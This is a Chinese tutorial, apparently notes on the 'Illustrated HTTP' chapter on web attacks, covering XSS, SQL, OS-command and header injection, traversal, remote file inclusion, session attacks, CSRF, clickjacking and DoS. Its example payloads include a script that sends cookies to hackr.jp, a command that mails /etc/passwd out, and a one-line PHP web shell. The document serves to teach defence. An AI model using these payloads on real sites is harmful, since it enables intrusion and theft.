圖解HTTP十一:Web 的攻擊技術

11.1 針對 Web 的攻擊技術

11.1.1 HTTP 不具備必要的安全功能

從整體上看, HTTP 就是一個通用的單純協議機制。因此它具備較多優勢,但是在安全性方面則呈劣勢。開發者需要自行設計並開發認證及會話管理功能來滿足 Web 應用的安全。而自行設計就意味着會出現各種形形色色的實現。結果,安全等級並不完備,可仍在運作的 Web 應用背後卻隱藏着各種容易被攻擊者濫用的安全漏洞的 Bug。

11.1.2 在客戶端即可篡改請求

在 Web 應用中,從瀏覽器那接收到的 HTTP 請求的全部內容,都可以在客戶端自由地變更、篡改。所以Web 應用可能會接收到與預期 數據不相同的內容。在 HTTP 請求報文內加載攻擊代碼,就能發起對 Web 應用的攻擊。通過 URL 查詢字段或表單、 HTTP 首部、 Cookie 等途徑把攻擊代碼傳入,若這時 Web 應用存在安全漏洞,那內部信息就會遭到竊取,或被攻擊者拿到管理權限。

在這裏插入圖片描述

對 Web 應用的攻擊

11.1.3 針對 Web 應用的攻擊模式

對 Web 應用的攻擊模式有以下兩種。

  • 主動攻擊
  • 被動攻擊

以服務器爲目標的主動攻擊:主動攻擊(active attack)是指攻擊者通過直接訪問 Web 應用,把攻擊代碼傳入的攻擊模式。由於該模式是直接針對服務器上的資源進行攻擊,因此攻擊者需要能夠訪問到那些資源。主動攻擊模式裏具有代表性的攻擊是 SQL 注入攻擊和 OS 命令注入攻擊。
在這裏插入圖片描述

主動攻擊

以服務器爲目標的被動攻擊:被動攻擊(passive attack)是指利用圈套策略執行攻擊代碼的攻擊模式。在被動攻擊過程中,攻擊者不直接對目標 Web 應用訪問發起攻擊。被動攻擊通常的攻擊模式如下所示。

  • 步驟 1: 攻擊者誘使用戶觸發已設置好的陷阱,而陷阱會啓動發送已嵌入攻擊代碼的 HTTP 請求。
  • 步驟 2: 當用戶不知不覺中招之後,用戶的瀏覽器或郵件客戶端就會觸發這個陷阱。
  • 步驟 3: 中招後的用戶瀏覽器會把含有攻擊代碼的 HTTP 請求發送給作爲攻擊目標的 Web 應用,運行攻擊代碼。
  • 步驟 4: 執行完攻擊代碼,存在安全漏洞的 Web 應用會成爲攻擊者的跳板,可能導致用戶所持的Cookie 等個人信息被竊取,登錄狀態中的用戶權限遭惡意濫用等後果。被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求僞造。
    在這裏插入圖片描述
被動攻擊

利用用戶的身份攻擊企業內部網絡:利用被動攻擊,可發起對原本從互聯網上無法直接訪問的企業內網等網絡的攻擊。只要用戶踏入攻擊者預先設好的陷阱,在用戶能夠訪問到的網絡範圍內,即使是企業內網也同樣會受到攻擊。很多企業內網依然可以連接到互聯網上,訪問 Web 網站,或接收互聯網發來的郵件。這樣就可能給攻擊者以可乘之機,誘導用戶觸發陷阱後對企業內網發動攻擊。
在這裏插入圖片描述

利用被動攻擊對企業內網發動攻擊

11.2 因輸出值轉義不完全引發的安全漏洞

實施 Web 應用的安全對策可大致分爲以下兩部分。

  • 客戶端的驗證
  • Web 應用端(服務器端)的驗證
    • 輸入值驗證
    • 輸出值轉義

在這裏插入圖片描述

驗證數據的幾個地方

多數情況下采用 JavaScript 在客戶端驗證數據。可是在客戶端允許篡改數據或關閉 JavaScript,不適合將JavaScript 驗證作爲安全的防範對策。保留客戶端驗證只是爲了儘早地辨識輸入錯誤,起到提高 UI 體驗的作用。Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認爲是具有攻擊性意義的代碼。輸入值驗證通常是指檢查是否是符合系統業務邏輯的數值或檢查字符編碼等預防對策。從數據庫或文件系統、 HTML、郵件等輸出 Web 應用處理的數據之際,針對輸出做值轉義處理是一項至關重
要的安全策略。當輸出值轉義不完全時,會因觸發攻擊者傳入的攻擊代碼,而給輸出對象帶來損害。

11.2.1 跨站腳本攻擊

跨站腳本攻擊(Cross-Site Scripting, XSS)是指通過存在安全漏洞的 Web 網站註冊用戶的瀏覽器內運行非法的 HTML 標籤或 JavaScript 進行的一種攻擊。動態創建的 HTML 部分有可能隱藏着安全漏洞。就這樣,攻擊者編寫腳本設下陷阱,用戶在自己的瀏覽器上運行時,一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響。

  • 利用虛假輸入表單騙取用戶個人信息。
  • 利用腳本竊取用戶的 Cookie 值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。
  • 顯示僞造的文章或圖片。

跨站腳本攻擊案例

在動態生成 HTML 處發生
下面以編輯個人信息頁面爲例講解跨站腳本攻擊。下方界面顯示了用戶輸入的個人信息內容。

解跨站腳本攻擊案例

確認界面按原樣顯示在編輯界面輸入的字符串。此處輸入帶有山口一郎這樣的 HTML 標籤的字符串。

按照輸入內容原樣顯示的機制

此時的確認界面上,瀏覽器會把用戶輸入的 s 解析成 HTML 標籤,然後顯示刪除線。刪除線顯示出來並不會造成太大的不利後果,但如果換成使用 script 標籤將會如何呢。

XSS 是攻擊者利用預先設置的陷阱觸發的被動攻擊

跨站腳本攻擊屬於被動攻擊模式,因此攻擊者會事先佈置好用於攻擊的陷阱。下圖網站通過地址欄中 URI 的查詢字段指定 ID,即相當於在表單內自動填寫字符串的功能。而就在這個地方,隱藏着可執行跨站腳本攻擊的漏洞。

按照輸入內容原樣顯示的機制

充分熟知此處漏洞特點的攻擊者,於是就創建了下面這段嵌入惡意代碼的 URL。並隱藏植入事先準備好的欺詐郵件中或 Web 頁面內,誘使用戶去點擊該 URL。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="htt

瀏覽器打開該 URI 後,直觀感覺沒有發生任何變化,但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入 ID 和密碼之後,就會直接發送到攻擊者的網站(也就是 hackr.jp),導致個人登錄信息被竊取。

對用戶 Cookie 的竊取攻擊
除了在表單中設下圈套之外,下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶的Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

該腳本內指定的 http://hackr.jp/xss.js 文件。即下面這段採用 JavaScript 編寫的代碼。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段 JavaScript 程序,即可訪問到該 Web 應用所處域名下的 Cookie 信息。然 後這些信息會發送至攻擊者的 Web 網站(http://hackr.jp/),記錄在他的登錄日誌中。結果,攻擊者就這樣竊取到用戶的 Cookie 信息了。

使用 XSS 攻擊奪取 Cookie 信息

11.2.2 SQL 注入攻擊

  • 會執行非法 SQL 的 SQL 注入攻擊:SQL 注入(SQL Injection)是指針對 Web 應用使用的數據庫,通過運行非法的 SQL 而產生的攻擊。該安全隱患有可能引發極大的威脅,有時會直接導致個人信息及機密信息的泄露。Web 應用通常都會用到數據庫,當需要對數據庫表內的數據進行檢索或添加、刪除等操作時,會使用SQL 語句連接數據庫進行特定的操作。如果在調用 SQL 語句的方式上存在疏漏,就有可能執行被惡意注入(Injection)非法 SQL 語句。SQL 注入攻擊有可能會造成以下等影響。
  • 非法查看或篡改數據庫內的數據
  • 規避認證
  • 執行和數據庫服務器業務關聯的程序等

SQL 注入攻擊案例
下面以某個購物網站的搜索功能爲例,講解 SQL 注入攻擊。通過該功能,我們可以將某作者的名字作爲
搜索關鍵字,查找該作者的所有著作。

正常處理的操作示例
下圖是將“上野宣”作爲關鍵字的搜索結果。

正常處理操作的示例

URL 的查詢字段已指定 q= 上野宣,這個值由 Web 應用傳入到 SQL 語句中,構成下方的 SQL 語句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

該 SQL 語句表示“從 bookTbl 表中,顯示滿足 author= 上野宣 and flag=1(可售)所在行的數據”。數據庫內的 bookTbl 表記錄着該購物網站的所有書籍信息。通過 SQL 語句,將滿足作者名(author)上野宣並且 flag 爲 1 雙重條件的條目取出,最後作爲搜索結果顯示出來。

數據庫處理

SQL 注入攻擊的操作示例
把剛纔指定查詢字段的上野宣改寫成“上野宣’–”。

SQL 注入攻擊的操作示例

構成的 SQL 語句就變成“從數據庫的 bookTbl 表中,顯示滿足 author= 上野宣條件所在行的數據”,如下 所示。
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 語句中的 – 之後全視爲註釋。即, and flag=1 這個條件被自動忽略了。

數據庫處理

結果跟 flag 的設定值無關,只取出滿足 author=“上野宣”條件所在行的數據,這樣連那些尚未出版的書
籍也一併顯示出來了。

被 SQL 注入的後果

SQL 注入攻擊破壞 SQL 語句結構的案例
SQL 注入是攻擊者將 SQL 語句改變成開發者意想不到的形式以達到破壞結構的攻擊。比如,在之前的攻擊案例中,就會把 author 的字面值(程序中使用 的常量) “上野宣 '–” 的字符串賦值給 $q。

SQL 注入攻擊的原理

上圖中顏色標記的字符串最開始的單引號 (’) 表示會將 author 的字面值括起來,以到達第二個單引號後作爲結束。因此, author 的字面值就成了上野宣,而後面的 – 則不再屬於 author 字面值,會被解析成其他的句法。本案例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實際發生 SQL 注入攻擊時,很有可能會導致用戶信息或結算內容等其他數據表的非法瀏覽及篡改,從而使用戶遭受不同程度的損失。

11.2.3 OS 命令注入攻擊

OS 命令注入攻擊(OS Command Injection)是指通過 Web 應用,執行非法的操作系統命令達到攻擊的目的。只要在能調用 Shell 函數的地方就有存在被攻擊的風險。可以從 Web 應用中通過 Shell 來調用操作系統命令。倘若調用 Shell 時存在疏漏,就可以執行插入的非法 OS 命令。OS 命令注入攻擊可以向 Shell 發送命令,讓 Windows 或 Linux 操作系統的命令行啓動程序。也就是說,通過 OS 注入攻擊可執行 OS 上安裝着的各種程序。
OS 注入攻擊案例
下面以諮詢表單的發送功能爲例,講解 OS 注入攻擊。該功能可將用戶的諮詢郵件按已填寫的對方郵箱
地址發送過去。

OS 注入攻擊的攻擊案例

下面摘選處理該表單內容的一部分核心代碼。

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";

程序中的 open 函數會調用 sendmail 命令發送郵件,而指定的郵件發送地址即 $adr 的值。攻擊者將下面的值指定作爲郵件地址。

; cat /etc/passwd | mail [email protected]

程序接收該值,構成以下的命令組合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]

攻擊者的輸入值中含有分號(;)。這個符號在 OS 命令中,會被解析爲分隔多個執行命令的標記。可見, sendmail 命令執行被分隔後,接下去就會執行 cat /etc/passwd | mail [email protected] 這樣的命令了。結果,含有 Linux 賬戶信息 /etc/passwd 的文件,就以郵件形式發送給了 [email protected]

11.2.4 HTTP 首部注入攻擊

HTTP 首部注入攻擊(HTTP Header Injection)是指攻擊者通過在響應首部字段內插入換行,添加任意響應首部或主體的一種攻擊。屬於被動攻擊模式。向首部主體內添加內容的攻擊稱爲 HTTP 響應截斷攻擊(HTTP Response Splitting Attack)。如下所示, Web 應用有時會把從外部接收到的數值,賦給響應首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
* 12345就是插入值

HTTP 首部注入可能像這樣,通過在某些響應首部字段需要處理輸出值的地方,插入換行發動攻擊。HTTP 首部注入攻擊有可能會造成以下一些影響。

  • 設置任何 Cookie 信息
  • 重定向至任意 URL
  • 顯示任意的主體( HTTP 響應截斷攻擊)

HTTP 首部注入攻擊案例

下面我們以選定某個類別後即可跳轉至各類別對應頁面的功能爲例,講解 HTTP 首部注入攻擊。該功能爲每個類別都設定了一個類別 ID 值,一旦選定某類別,就會將該 ID 值反映在響應內的 Location 首部字段內,形如 Location: http://example.com/?cat=101。令瀏覽器發生重定 向跳轉。

HTTP 首部注入攻擊示例

攻擊者以下面的內容替代之前的類別 ID 後發送請求。

101%0D%0ASet-Cookie:+SID=123456789

其中, %0D%0A 代表 HTTP 報文中的換行符,緊接着的是可強制將攻擊者網站(http://hackr.jp/)的會
話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段。
發送該請求之後,假設結果返回以下響應。

Location: http://example.com/?cat=101(%0D%0A :換行符)
Set-Cookie: SID=123456789

此刻,首部字段 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 信息。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可僞裝成用戶。攻擊者輸入的 %0D%0A,原本應該屬於首部字段 Location 的查詢值部分,但經過解析後, %0D%0A 變成了換行符,結果插入了新的首部字段。這樣一來,攻擊者可在響應中插入任意的首部字段。

HTTP 響應截斷攻擊
HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。攻擊順序相同,但是要將兩個
%0D%0A%0D%0A 並排插入字符串後發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所
需的空行了,這樣就能顯示僞造的主體,達到攻擊目的。這樣的攻擊叫做 HTTP 響應截斷攻擊。

%0D%0A%0D%0A<HTML><HEAD><TITLE>之後,想要顯示的網頁內容 <!--

在可能進行 HTTP 首部注入的環節,通過發送上面的字符串,返回結果得到以下這種響應。

 Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
<HTML><HEAD><TITLE>之後,想要顯示的網頁內容 <!--(原來頁面對應的首部字段和主體部分全視爲註釋)

利用這個攻擊,已觸發陷阱的用戶瀏覽器會顯示僞造的 Web 頁面,再讓用戶輸入自己的個人信息等,可達到和跨站腳本攻擊相同的效果。另外,濫用 HTTP/1.1 中彙集多響應返回功能,會導致緩存服務器對任意內容進行緩存操作。這種攻擊稱爲緩存污染。使用該緩存服務器的用戶,在瀏覽遭受攻擊的網站時,會不斷地瀏覽被替換掉的 Web 網頁。

11.2.5 郵件首部注入攻擊

郵件首部注入(Mail Header Injection)是指 Web 應用中的郵件發送功能,攻擊者通過向郵件首部 To 或Subject 內任意添加非法內容發起的攻擊。利用存在安全漏洞的 Web 網站,可對任意郵件地址發送廣告郵件或病毒郵件。

郵件首部注入攻擊案例

下面以 Web 頁面中的諮詢表單爲例講解郵件首部注入攻擊。該功能可在表單內填入諮詢者的郵件地址及諮詢內容後,以郵件的形式發送給網站管理員。

郵件首部注入攻擊案例

攻擊者將以下數據作爲郵件地址發起請求。

[email protected]%0D%0ABcc: [email protected]

%0D%0A 在郵件報文中代表換行符。一旦諮詢表單所在的 Web 應用接收了這個換行符,就可能實現對Bcc 郵件地址的追加發送,而這原本是無法指定的。另外像下面一樣,使用兩個連續的換行符就有可能篡改郵件文本內容併發送。

[email protected]%0D%0A%0D%0ATest Message

再以相同的方法,就有可能改寫 To 和 Subject 等任意郵件首部,或向文本添加附件等動作。

11.2.6 目錄遍歷攻擊

目錄遍歷(Directory Traversal)攻擊是指對本無意公開的文件目錄,通過非法截斷其目錄路徑後,達成訪問目的的一種攻擊。這種攻擊有時也稱爲路徑遍歷(Path Traversal)攻擊。通過 Web 應用對文件處理操作時,在由外部指定文件名的處理存在疏漏的情況下,用戶可使用 …/ 等相對路徑定位到 /etc/passed 等絕對路徑上,因此服務器上任意的文件或文件目錄皆有可能被訪問到。這樣一來,就有可能非法瀏覽、篡改或刪除 Web 服務器上的文件。固然存在輸出值轉義的問題,但更應該關閉指定對任意文件名的訪問權限。
目錄遍歷攻擊案例
下面以顯示讀取文件功能爲例,講解目錄遍歷攻擊。該功能通過以下查詢字段,指定某個文件名。然後從 /www/log/ 文件目錄下讀取這個指定的文件。

http://example.com/read.php?log=0401.log

攻擊者設置如下查詢字段後發出請求。

http://example.com/read.php?log=../../etc/passwd

查詢字段爲了讀取攻擊者盯上的 /etc/passwd 文件,會從 /www/log/ 目錄開始定位相對路徑。如果這份read.php 腳本接受對指定目錄的訪問請求處理,那原本不公開的文件就存在可被訪問的風險。

目錄遍歷攻擊案例

11.2.7 遠程文件包含漏洞

遠程文件包含漏洞(Remote File Inclusion)是指當部分腳本內容需要從其他文件讀入時,攻擊者利用指定外部服務器的 URL 充當依賴文件,讓腳本讀取之後,就可運行任意腳本的一種攻擊。這主要是 PHP 存在的安全漏洞,對 PHP 的 include 或 require 來說,這是一種可通過設定,指定外部服務器的 URL 作爲文件名的功能。但是,該功能太危險, PHP5.2.0 之後默認設定此功能無效。固然存在輸出值轉義的問題,但更應控制對任意文件名的指定。
遠程文件包含漏洞的攻擊案例
下面以 include 讀入由查詢字段指定文件的功能爲例,講解遠程文件包含漏洞。該功能可通過以下查詢
字段形式指定文件名,並在腳本內的 include 語句處讀入這個指定文件。

http://example.com/foo.php?mod=news.php

對應腳本的源代碼如下所示。

http://example.com/foo.php 的源代碼(部分摘錄)

$modname = $_GET['mod'];
include($modname);

攻擊者指定如同下面形式的 URL 發出請求。

http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls

攻擊者已事先在外部服務器上準備了以下這段腳本。

http://hackr.jp/cmd.php 的源代碼

<? system($_GET['cmd']) ?>

假設 Web 服務器(example.com)的 include 可以引入外部服務器的 URL,那就會讀入攻擊者在外部服務器上事先準備的 URL(http://hackr.jp/cmd.php)。結果,通過 system 函數就能在 Web 服務器(example.com)上執行查詢字段指定的 OS 命令了。

遠程文件包含漏洞的攻擊案例

在以上攻擊案例中,執行了可顯示 Web 服務器(example.com)上文件及目錄信息的 ls 命令。

11.3 因設置或設計上的缺陷引發的安全漏洞

11.3.1 強制瀏覽

強制瀏覽(Forced Browsing)安全漏洞是指,從安置在 Web 服務器的公開目錄下的文件中,瀏覽那些原本非自願公開的文件。強制瀏覽有可能會造成以下一些影響。

  • 泄露顧客的個人信息等重要情報
  • 泄露原本需要具有訪問權限的用戶纔可查閱的信息內容
  • 泄露未外連到外界的文件

對那些原本不願公開的文件,爲了保證安全會隱蔽其 URL。可一旦知道了那些 URL,也就意味着可瀏覽 URL對應的文件。直接顯示容易推測的文件名或文件目錄索引時,通過某些方法可能會使 URL 產生泄露。

文件目錄一覽
http://www.example.com/log/
通過指定文件目錄名稱,即可在文件一覽中看到顯示的文件名。

容易被推測的文件名及目錄名
http://www.example.com/entry/entry_081202.log
文件名稱容易推測(按上面的情況,可推出下一個文件是 entry_081203.log)

備份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(備份文件)
http://www.example.com/cgi-bin/entry.bak(備份文件)
由編輯軟件自動生成的備份文件無執行權限,有可能直接以源代碼形式顯示

經認證纔可顯示的文件
直接通過 URL 訪問原本必須經過認證才能在 Web 頁面上使用的文件(HTML 文件、圖片、 PDF 等文檔、CSS 以及其他數據等)

強制瀏覽導致安全漏洞的案例

下面我們以會員制度的 SNS 日記功能爲例,講解強制瀏覽可能導致的安全漏洞。該日記功能保證了除具有訪問權限的用戶本人以外,其他人都不能訪問日記。
在這裏插入圖片描述

強制瀏覽導致安全漏洞的案例

該日記中包含的圖像照片的源代碼如下所示。
<img src="http://example.com/img/tRNqSUBdG7Da.jpg>

即使沒有對這篇日記的訪問權限,只要知道這圖片的 URL,通過直接指定 URL 的方式就能顯示該圖片。日記的功能和文本具有訪問對象的控制,但不具備對圖片訪問對象的控制,從而產生了安全漏洞。

11.3.2 不正確的錯誤消息處理

不正確的錯誤消息處理(Error Handling Vulnerability)的安全漏洞是指, Web 應用的錯誤信息內包含對攻擊者有用的信息。與 Web 應用有關的主要錯誤信息如下所示。

  • Web 應用拋出的錯誤消息
  • 數據庫等系統拋出的錯誤消息

Web 應用不必在用戶的瀏覽畫面上展現詳細的錯誤消息。對攻擊者來說,詳細的錯誤消息有可能給他們下一次攻擊以提示。

  • 不正確的錯誤消息處理導致安全漏洞的案例
  • Web 應用拋出的錯誤消息

下面以認證功能的認證錯誤消息爲例,講解不正確的錯誤消息處理方式。該認證功能,在輸入表單內的
郵件地址及密碼匹配發生錯誤時,會提示錯誤信息。

不正確的錯誤消息處理導致安全漏洞的案例

上方畫面提示“郵件地址未註冊”的錯誤消息。當輸入的郵件地址尚未在該 Web 網站上註冊時,就會觸發這條錯誤消息。因爲倘若郵件地址存在,應該會提示“輸入的密碼有誤”之類的錯誤消息。攻擊者利用進行不同的輸入會提示不同的錯誤信息這條,就可用來確認輸入的郵件地址是否已在這個 Web 網站上註冊過了。爲了不讓錯誤消息給攻擊者以啓發,建議將提示消息的內容僅保留到“認證錯誤”這種程度即可。

數據庫等系統拋出的錯誤消息

下面我們以搜索功能提示的錯誤信息爲例,講解不正確的錯誤消息處理。本功能用於檢索數據,當輸入
未預料的字符串時,會提示數據庫的錯誤。下面以認證功能的認證錯誤消息爲例,講解不正確的錯誤消息處理。該認證功能在輸入表單內的郵件地址及密碼匹配發生錯誤時,會提示錯誤信息。

不正確的錯誤消息處理導致安全漏洞的案例

上方的畫面中顯示了與 SQL 有關的錯誤信息。對開發者而言,該信息或許在 Debug 時會有幫助,但對用戶毫無用處。攻擊者從這條消息中可讀出數據庫選用的是 MySQL,甚至還看見了 SQL 語句的片段。這可能給攻擊者進行 SQL 注入攻擊以啓發。系統拋出的錯誤主要集中在以下幾個方面。

  • PHP 或 ASP 等腳本錯誤
  • 數據庫或中間件的錯誤
  • Web 服務器的錯誤

各系統應對詳細的錯誤消息進行抑制設定,或使用自定義錯誤消息,以避免某些錯誤信息給攻擊者以啓發。

11.3.3 開放重定向

開放重定向(Open Redirect)是一種對指定的任意 URL 作重定向跳轉的功能。而於此功能相關聯的安全漏洞是指,假如指定的重定向 URL 到某個具有惡意的 Web 網站,那麼用戶就會被誘導至那個 Web 網站。
開放重定向的攻擊案例
我們以下面的 URL 做重定向爲例,講解開放重定向攻擊案例。該功能就是向 URL 指定參數後,使本來的 URL 發生重定向跳轉。

http://example.com/?redirect=http://www.tricorder.jp

攻擊者把重定向指定的參數改寫成已設好陷阱的 Web 網站對應的 連接,如下所示。

http://example.com/?redirect=http://hackr.jp

用戶看到 URL 後原以爲訪問 example.com,不料實際上被誘導至 hackr.jp 這個指定的重定向目標。可信度高的 Web 網站如果開放重定向功能,則很有可能被攻擊者選中並用來作爲釣魚攻擊的跳板。

11.4 因會話管理疏忽引發的安全漏洞

會話管理是用來管理用戶狀態的必備功能,但是如果在會話管理上有所疏忽,就會導致用戶的認證狀態被竊取等後果。

11.4.1 會話劫持

會話劫持(Session Hijack)是指攻擊者通過某種手段拿到了用戶的會話 ID,並非法使用此會話 ID 僞裝成用戶,達到攻擊的目的。
在這裏插入圖片描述

會話劫持

具備認證功能的 Web 應用,使用會話 ID 的會話管理機制,作爲管理認證狀態的主流方式。會話 ID 中記錄客戶端的 Cookie 等信息,服務器端將會話 ID 與認證狀態進行一對一匹配管理。
下面列舉了幾種攻擊者可獲得會話 ID 的途徑。

  • 通過非正規的生成方法推測會話 ID
  • 通過竊聽或 XSS 攻擊盜取會話 ID
  • 通過會話固定攻擊( Session Fixation)強行獲取會話 ID

會話劫持攻擊案例
下面我們以認證功能爲例講解會話劫持。這裏的認證功能通過會話管理機制,會將成功認證的用戶的會
話 ID(SID)保存在用戶瀏覽器的 Cookie 中。

在這裏插入圖片描述

會話劫持攻擊案例

攻擊者在得知該 Web 網站存在可跨站攻擊(XSS)的安全漏洞後,就設置好用 JavaScript 腳本調用document.cookie 以竊取 Cookie 信息的陷阱,一旦用戶踏入陷阱(訪問了該腳本),攻擊者就能獲取含有會話 ID 的 Cookie。攻擊者拿到用戶的會話 ID 後,往自己的瀏覽器的 Cookie 中設置該會話 ID,即可僞裝成會話 ID 遭竊的用戶,訪問 Web 網站了。

11.4.2 會話固定攻擊

對以竊取目標會話 ID 爲主動攻擊手段的會話劫持而言,會話固定攻擊(Session Fixation)攻擊會強制用戶使用攻擊者指定的會話 ID,屬於被動攻擊。
會話固定攻擊案例
下面我們以認證功能爲例講解會話固定攻擊。這個 Web 網站的認證功能,會在認證前發佈一個會話 ID,若認證成功,就會在服務器內改變認證狀態。

在這裏插入圖片描述

會話固定攻擊案例

  1. 攻擊者準備陷阱,先訪問 Web 網站拿到會話 ID(SID=f5d1278e8109)。此刻,會話 ID 在服務器上的記錄仍是(未認證)狀態。(步驟① ~ ②)
  2. 攻擊者設置好強制用戶使用該會話 ID 的陷阱,並等待用戶拿着這個會話 ID 前去認證。一旦用戶觸發陷阱並完成認證,會話 ID(SID=f5d1278e8109)在服務器上的狀態(用戶 A 已認證)就會被記錄下來。(步驟③)
  3. 攻擊者估計用戶差不多已觸發陷阱後,再利用之前這個會話 ID 訪問網站。由於該會話 ID 目前已是(用戶 A 已認證)狀態,於是攻擊者作爲用戶 A 的身份順利登錄網站。(步驟④)

11.4.3 跨站點請求僞造

跨站點請求僞造(Cross-Site Request Forgeries, CSRF)攻擊是指攻擊者通過設置好的陷阱,強制對已完成認證的用戶進行非預期的個人信息或設定信息等某些狀態更新,屬於被動攻擊。跨站點請求僞造有可能會造成以下等影響。

  • 利用已通過認證的用戶權限更新設定信息等
  • 利用已通過認證的用戶權限購買商品
  • 利用已通過認證的用戶權限在留言板上發表言論

跨站點請求僞造的攻擊案例
下面以留言板功能爲例,講解跨站點請求僞造。該功能只允許已認證並登錄的用戶在留言板上發表內
容。
在這裏插入圖片描述

跨站點請求僞造的攻擊案例

在該留言板系統上,受害者用戶 A 是已認證狀態。它的瀏覽器中的 Cookie 持有已認證的會話 ID(步驟①)。攻擊者設置好一旦用戶訪問,即會發送在留言板上發表非主觀行爲產生的評論的請求的陷阱。用戶 A 的瀏覽器執行完陷阱中的請求後,留言板上也就會留下那條評論(步驟②)。觸發陷阱之際,如果用戶 A 尚未通過認證,則無法利用用戶 A 的身份權限在留言板上發表內容。

11.5 其他安全漏洞

11.5.1 密碼破解

密碼破解有以下兩種手段。

  • 通過網絡的密碼試錯
    • 窮舉法:用所有可行的候選密碼對目標的密碼系統試錯,用以突破驗證的一種攻擊。
    • 字典攻擊:字典攻擊是指利用事先收集好的候選密碼(經過各種組合方式後存入字典),枚舉字典中的密碼,嘗試通過認證的一種攻擊手法。
  • 對已加密密碼的破解(指攻擊者入侵系統,已獲得加密或散列處理的密碼數據的情況):Web 應用在保存密碼時,一般不會直接以明文的方式保存,通過散列函數做散列處理或加 salt 的手段對要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數據,如果想要真正使用這些密碼,則必須先通過解碼等手段,把加密處理的密碼還原成明文形式。
破解已加密的密碼

從加密過的數據中導出明文通常有以下幾種方法。

  • 通過窮舉法·字典攻擊進行類推
  • 彩虹表
  • 拿到密鑰
  • 加密算法的漏洞

通過窮舉法·字典攻擊進行類推
針對密碼使用散列函數進行加密處理的情況,採用和窮舉法或字典攻擊相同的手法,嘗試調用相同的散列函數加密候選密碼,然後把計算出的散列值與目標散列值匹配,類推出密碼。

破解已加密的密碼 / 通過窮舉法·字典攻擊進行類推

彩虹表
彩虹表(Rainbow Table)是由明文密碼及與之對應的散列值構成的一張數據庫表,是一種通過事先製作龐大的彩虹表,可在窮舉法 • 字典攻擊等實際破解過程中縮短消耗時間的技巧。從彩虹表內搜索散列值就可以推導出對應的明文密碼。

破解已加密的密碼 / 彩虹表

爲了提高攻擊成功率,擁有一張海量數據的彩虹表就成了必不可少的條件。例如在 Free Rainbow Tables網站上(http://www.freerainbowtables.com/en/tables2/)公佈的一張由大小寫字母及數字全排列的 1~8 位字符串對應的 MD5 散列值構成的彩虹表,其大小約爲 1050 吉字節。

拿到密鑰
使用共享密鑰加密方式對密碼數據進行加密處理的情況下,如果能通過某種手段拿到加密使用的密鑰,也就可以對密碼數據解密了。

加密算法的漏洞
考慮到加密算法本身可能存在的漏洞,利用該漏洞嘗試解密也是一種可行的方法。但是要找到那些已廣泛使用的加密算法的漏洞,又談何容易,因此困難極大,不易成功。而 Web 應用開發者獨立實現的加密算法,想必尚未經過充分的驗證,還是很有可能存在漏洞的。

11.5.2 點擊劫持

點擊劫持(Clickjacking)是指利用透明的按鈕或鏈接做成陷阱,覆蓋在 Web 頁面之上。然後誘使用戶在不知情的情況下,點擊那個鏈接訪問內容的一種攻擊手段。這種行爲又稱爲界面僞裝(UI Redressing)。已設置陷阱的 Web 頁面,表面上內容並無不妥,但早已埋入想讓用戶點擊的鏈接。當用戶點擊到透明的按鈕時,實際上是點擊了已指定透明屬性元素的 iframe 頁面。

點擊劫持的攻擊案例

下面以 SNS 網站的註銷功能爲例,講解點擊劫持攻擊。利用該註銷功能,註冊登錄的 SNS 用戶只需點擊註銷按鈕,就可以從 SNS 網站上註銷自己的會員身份。

點擊劫持

攻擊者在預料用戶會點擊的 Web 頁面上設下陷阱。上圖中釣魚遊戲頁面上的 PLAY 按鈕就是這類陷阱
的實例。在做過手腳的 Web 頁面上,目標的 SNS 註銷功能頁面將作爲透明層覆蓋在遊戲網頁上。覆蓋時,要保證 PLAY 按鈕與註銷按鈕的頁面所在位置保持一致。

iframe 頁面中使用透明可點擊按鈕的示例

<iframe id="target" src="http://sns.example.jp/leave" style="opacity:0;filter:alpha(opacity=0
<button style="position:absolute;top:100;left:100;z-index:-1">PLAY</button>

由於 SNS 網站作爲透明層被覆蓋, SNS 網站上處於登錄狀態的用戶訪問這個釣魚網站並點擊頁面上的PLAY 按鈕之後,等同於點擊了 SNS 網站的註銷按鈕。

11.5.3 DoS 攻擊

DoS 攻擊(Denial of Service attack)是一種讓運行中的服務呈停止狀態的攻擊。有時也叫做服務停止攻擊或拒絕服務攻擊。 DoS 攻擊的對象不僅限於 Web 網站,還包括網絡設備及服務器等。
主要有以下兩種 DoS 攻擊方式。

  • 集中利用訪問請求造成資源過載,資源用盡的同時,實際上服務也就呈停止狀態。
  • 通過攻擊安全漏洞使服務停止。

其中,集中利用訪問請求的 DoS 攻擊,單純來講就是發送大量的合法請求。服務器很難分辨何爲正常請求,何爲攻擊請求,因此很難防止 DoS 攻擊。

在這裏插入圖片描述

DoS 攻擊

